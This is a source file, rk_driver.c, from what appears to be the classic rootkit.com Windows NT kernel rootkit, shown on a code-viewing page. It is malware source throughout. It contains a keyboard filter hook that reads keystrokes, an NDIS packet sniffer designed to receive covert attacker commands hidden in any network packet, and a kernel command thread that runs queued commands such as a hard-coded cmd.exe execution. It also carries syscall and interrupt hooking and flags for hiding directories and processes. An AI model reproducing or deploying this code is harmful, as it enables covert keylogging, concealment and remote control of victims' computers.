📄 rk_driver.c
字号:
/* _______________________________________________________
. Originally, we had hooked other drivers here, such as
. the keyboard class driver - so that we could sniff
. keystrokes, for example. To make everything simpler,
. however, we are only hooking syscalls now.
.
. If you choose, you may attempt to hook other drivers
. at this point. There are some examples of this in the
. DDK. Also, there is a keyboard class driver hook example
. on the www.sysinternals.com site. In theory, you could
. hook whatever you choose. Please contribute your changes
. to the rootkit project at www.rootkit.com. Thanks.
. ________________________________________________________ */
cmdHookKeyboard(theDriverObject); /* currently not implemented */
KeAcquireSpinLock(&GlobalArraySpinLock, &aIrqL);
memset(g_command_signal, NULL, 255);
memcpy(g_command_signal,"exec \\??\\c:\\winnt\\system32\\cmd.exe /c type c:\\boot.ini" ,
strlen("exec \\??\\c:\\winnt\\system32\\cmd.exe /c type c:\\boot.ini"));
KeReleaseSpinLock(&GlobalArraySpinLock, aIrqL);
//-----------------------------------------------
KeSetEvent(&command_signal_event, 1, FALSE);
return STATUS_SUCCESS;
RegistryError:
/* fixme - need better cleanup */
NdisDeregisterProtocol( &aStatus, aNdisProtocolHandle );
}
__except(EXCEPTION_EXECUTE_HANDLER)
{
DbgPrint("Exception occured, caught in DriverEntry(). Unknown error\n");
}
return(STATUS_UNSUCCESSFUL);
}
/* __________________________________________________________________
. This function just completes all IRP's that come its way.
. We are ignoring userland completely - so this shouldn't get
. called anyways -
.
. Feb 03 - update: adding support for hooking the IRP chain in
. other drivers. This means stealing the info-stream from other
. drivers such as keyboard or tcp/ip, etc etc.
. -greg
. __________________________________________________________________ */
NTSTATUS
OnStubDispatch(
IN PDEVICE_OBJECT DeviceObject,
IN PIRP Irp
)
{
//////////////////////////////////////////////////////////////////
// the issue here is that if we are hooking a driver chain, we
// cannot simply complete the IRP, we must instead pass the call
// down the chain...
//
// we can switch on the DeviceObject being used, and we need
// a different DeviceObject for each hook we are using
//////////////////////////////////////////////////////////////////
if(DeviceObject == g_NdisDeviceObject)
{
Irp->IoStatus.Status = STATUS_SUCCESS;
IoCompleteRequest (Irp,
IO_NO_INCREMENT
);
}
if(DeviceObject == gKbdHookDevice)
{
PIO_STACK_LOCATION irpStack = IoGetCurrentIrpStackLocation(Irp);
// Our keyboard hook has been called, just pass on the data
// however, if the IRP is a read completion, let's steal
// a look at the scan code...
if( (g_sniff_keys) && (IRP_MJ_READ == irpStack->MajorFunction))
{
PIO_STACK_LOCATION nextIrpStack;
nextIrpStack = IoGetNextIrpStackLocation(Irp);
// make sure we get called for ReadComplete...
*nextIrpStack = *irpStack;
// Set the completion callback, so we can "frob" the keyboard data.
// ----------------------------------------------------------------
// important note: IRP's are fired down and they wait, dormant,
// until completed. This means that a 'blank' IRP is fired down
// and waits for a keypress. The very next keypress will
// complete the IRP and our callback routine will fire.
//
// The problem: if we have unloaded the driver, the callback
// routine will not be there - but the very last IRP may
// still be waiting for completion and still have our callback
// address - aka BSOD on next keypress. - SO, we HAVE to get
// rid of this offending IRP before we unload. This applies to
// ANY filter driver. Pending IRP's are a Bad Thing when we
// want to Unload().
// ----------------------------------------------------------------
IoSetCompletionRoutine( Irp, OnKbdReadComplete,
DeviceObject, TRUE, TRUE, TRUE );
g_number_of_pending_IRPs++;
// Return the results of the call to the keyboard class driver.
return IoCallDriver( gKbdTopOfStack, Irp );
}
else
{
Irp->CurrentLocation++;
Irp->Tail.Overlay.CurrentStackLocation++;
// pass this onto whoever we stole it from...
return IoCallDriver(gKbdTopOfStack, Irp);
}
}
else
{
Irp->IoStatus.Status = STATUS_UNSUCCESSFUL;
IoCompleteRequest (Irp,
IO_NO_INCREMENT
);
}
return Irp->IoStatus.Status;
}
/* __________________________________________________________________
. ETHERNET SNIFFER FILTER
.
. This function is called whenever a packet is sniffed on the wire.
. Currently, this is called directly when the packet arrives, so
. you need to handle the packet quickly. This is a high performance
. function - so don't spend alot of time daddling w/ the packet.
.
. If you need to perform a great deal of processing on the packet,
. queue it first and handle it in another thread.
.
. Note: there are many driver-related support functions
. located in file sniffer.c
. __________________________________________________________________ */
void OnSniffedPacket(const char* theData, int theLen){
int aCommand = 0;
DbgPrint("ROOTKIT: OnSniffedPacket called\n");
/* no matter what kind of packet this is, parse it for a possible
* command. This makes it easy for the attacker to embed commands
* into almost any type of packet, including invalid TCP or ICMP
* Also, any network protocol, not just IP.
*/
// TBD
switch(aCommand){
case 0: /* shutdown */
break;
case 1: /* start network sniffer */
break;
case 2: /* start routing */
break;
case 3: /* start file sniffing */
break;
case 666: /* Shutdown and KillAll */
break;
default:
break;
}
}
/* _____________________________________________________________________________
. This is called when the driver is dynamically unloaded. You need to cleanup
. everything you have done here. A waitable object was added so that NDIS can
. be shut down properly. Also unhook all system calls & interrupts.
. _____________________________________________________________________________ */
// called at IRQL_PASSIVE
VOID OnUnload( IN PDRIVER_OBJECT DriverObject )
{
WCHAR deviceLinkBuffer[] = L"\\DosDevices\\Ntroot";
UNICODE_STRING deviceLinkUnicodeString;
PVOID aThreadPtr;
DbgPrint("ROOTKIT: OnUnload called\n");
//-------------------------------------------
// kill worker thread
g_kill_thread = TRUE;
DbgPrint("rootkit: killing worker thread\n");
//GET pointer for thread handle
ObReferenceObjectByHandle(
gWorkerThread,
THREAD_ALL_ACCESS,
NULL,
KernelMode,
&aThreadPtr,
NULL
);
//should be OK at PASSIVE_LEVEL
KeWaitForSingleObject(
aThreadPtr,
UserRequest,
KernelMode,
FALSE,
NULL);
//done with thread ptr
ObDereferenceObject( aThreadPtr );
//--------------------------------------------
// now that worker thread is done, it should be
// safe to start unwinding ourselves from the
// kernel.
DbgPrint("rootkit: about to unhook syscalls\n");
UnhookSyscalls();
DbgPrint("rootkit: about to unhook interrupts\n");
UnhookInterrupts();
// now unhook the keyboard filter
if(gKbdHookDevice)
{
IoDetachDevice(gKbdTopOfStack);
IoDeleteDevice(gKbdHookDevice);
}
__try
{
//__asm int 3
//the spinlock was a suspect in a BSOD, so I removed it...
// -Greg
//KeAcquireSpinLock(&GlobalArraySpinLock, &gIrqL); /* beware of irq level */
/*
* There are some resources which are not freed here, hence small
* memleak.
*/
if(NULL != gOpenInstance)
{
PDEVICE_EXTENSION DeviceExtension;
NDIS_HANDLE NdisProtocolHandle;
NDIS_STATUS Status;
DeviceExtension = gOpenInstance->DeviceExtension;
NdisProtocolHandle = DeviceExtension->NdisProtocolHandle;
NdisResetEvent(&gOpenInstance->Event);
NdisCloseAdapter(
&Status,
gOpenInstance->AdapterHandle);
// we must wait for this to complete
// ---------------------------------
if(Status == NDIS_STATUS_PENDING)
{
DbgPrint("rootkit: OnUnload: pending wait event\n");
NdisWaitEvent(&gOpenInstance->Event, 0);
Status = gOpenInstance->Status;
}
DbgPrint("rootkit: OnUnload: NdisCloseAdapter() done\n");
NdisFreeBufferPool(gOpenInstance->mBufferPoolH);
NdisFreePacketPool(gOpenInstance->mPacketPoolH);
ExFreePool(gOpenInstance);
IoDeleteDevice( DeviceExtension->DeviceObject );
if (DeviceExtension->BindString != NULL) {
ExFreePool(DeviceExtension->BindString);
}
if (DeviceExtension->ExportString != NULL) {
ExFreePool(DeviceExtension->ExportString);
}
NdisDeregisterProtocol(
&Status,
NdisProtocolHandle
);
}
RtlInitUnicodeString( &deviceLinkUnicodeString, deviceLinkBuffer );
IoDeleteSymbolicLink( &deviceLinkUnicodeString );
/*
*
*/
//KeReleaseSpinLock(&GlobalArraySpinLock, gIrqL);
}
__except(EXCEPTION_EXECUTE_HANDLER)
{
DbgPrint("rootkit: Exception in Unload(), unknown error.\n");
}
/////////////////////////////////////////////////////////////////
// make sure ALL filters are OFF, and then wait for all
// pending IRPs to DIE! - we should be deteched from all our
// filter devices now anyways... -greg
/////////////////////////////////////////////////////////////////
g_hide_directories=FALSE;
g_hide_proc=FALSE;
g_sniff_keys=FALSE;
// no more IRP's should be queued to us - now wait it out...
for(;;)
{
LARGE_INTEGER timeout;
timeout.QuadPart = -(3 * 1000 * 10000);
KeResetEvent(&command_signal_event);
// we can re-use the thread signal to cause a
// short wait here...
KeWaitForSingleObject(
&command_signal_event,
Executive,
KernelMode,
FALSE,
&timeout);
// do not continue until all IRP's are DEAD
if( 0 == g_number_of_pending_IRPs ) break;
}
return;
}
// --------------------------------------------------------
// wait for commands and execute them in IRQL_PASSIVE level
// --------------------------------------------------------
VOID rootkit_command_thread(PVOID context)
{
DbgPrint("thread: workerthread entry\n");
// Find System Process ID
SystemProcessId=PsGetCurrentProcessId();
for(;;)
{
LARGE_INTEGER timeout;
NTSTATUS waitstatus;
KIRQL aIrqL;
char _safe_buffer[256];
_safe_buffer[255]=NULL;
timeout.QuadPart = -(3 * 1000 * 10000);
waitstatus = KeWaitForSingleObject(
&command_signal_event,
Executive,
KernelMode,
FALSE,
&timeout);
if(g_kill_thread)
{
// we have been shutdown by the UnLoad()
// routine, so get out of dodge...
PsTerminateSystemThread(0);
}
else if(waitstatus == STATUS_TIMEOUT)
{
//timeout, ignore
}
else
{
// check the command which is waiting in a
// global buffer. Copy this buffer into a
// safe-zone.
//----[ spinlock ]-------------------------------
KeAcquireSpinLock(&GlobalArraySpinLock, &aIrqL);
memcpy(_safe_buffer, g_command_signal, 255);
KeReleaseSpinLock(&GlobalArraySpinLock, aIrqL);
//-----------------------------------------------
// we are running at IRQL_PASSIVE so we can make
// calls to kernel API routines in our commands
// processor
process_rootkit_command(_safe_buffer);
KeResetEvent(&command_signal_event);
}
}
}
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -